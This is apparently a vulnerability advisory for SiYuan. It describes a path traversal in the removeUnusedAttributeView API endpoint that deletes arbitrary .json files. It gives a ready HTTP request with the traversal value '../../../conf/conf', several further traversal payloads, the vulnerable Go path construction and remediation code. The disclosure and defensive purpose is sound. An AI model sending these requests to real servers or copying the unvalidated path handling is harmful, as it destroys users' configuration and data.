SiYuan: Publish Reader Path Traversal Delete via `removeUnusedAttributeView`

Summary

The endpoint /api/av/removeUnusedAttributeView is vulnerable to a path traversal (CWE-22) that allows an attacker to delete arbitrary .json files on the server.

The issue arises because user-controlled input (id) is directly used in filesystem path construction without validation or restriction.

Access to this endpoint (e.g., via a Reader-role or publish context) is considered a precondition and not part of the vulnerability. The root cause is unsafe path handling.

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Steps To Reproduce

1. Ensure the target instance has the publish service enabled (or any valid access to the endpoint).
2. Send the following request:

POST /api/av/removeUnusedAttributeView HTTP/1.1
Host: <target>
Content-Type: application/json

{
  "id": "../../../conf/conf"
}

3. Observe that the request is accepted.
4. The server resolves the path outside the intended directory and deletes the target file.

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Impact

An attacker can delete arbitrary .json files within the workspace directory.

This may lead to:

• Deletion of global configuration files (e.g., conf/conf.json)
• Loss of user data and application state
• Corruption of workspace metadata
• Persistent application instability or forced recovery

This represents a server-side arbitrary file deletion primitive, which can have severe impact depending on the targeted files.

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Technical Details

The vulnerable code constructs file paths as follows:

filepath.Join(util.DataDir, "storage", "av", id+".json")

Because id is not validated, attackers can inject path traversal sequences such as ../ to escape the intended directory.

Example payloads

• ../local → data/storage/local.json
• ../../storage/outline → data/storage/outline.json
• ../../../conf/conf → conf/conf.json

No validation or restriction is applied to:

• input format
• path normalization
• directory boundaries

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Root Cause

• Untrusted user input (id) is directly used in filesystem path construction
• No input validation or sanitization
• No enforcement that the resolved path stays within the intended directory

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Remediation

1. Validate input strictly

   • Only allow valid Attribute View IDs
   • Reject any input containing path traversal sequences

2. Enforce directory boundaries

base := filepath.Join(util.DataDir, "storage", "av")
absPath := filepath.Join(base, id+".json")

if !util.IsSubPath(base, absPath) {
    return error
}

3. Normalize paths before use

   • Ensure canonical paths cannot escape the base directory

4. Add additional logical checks

   • Verify that the target object is valid and allowed to be deleted

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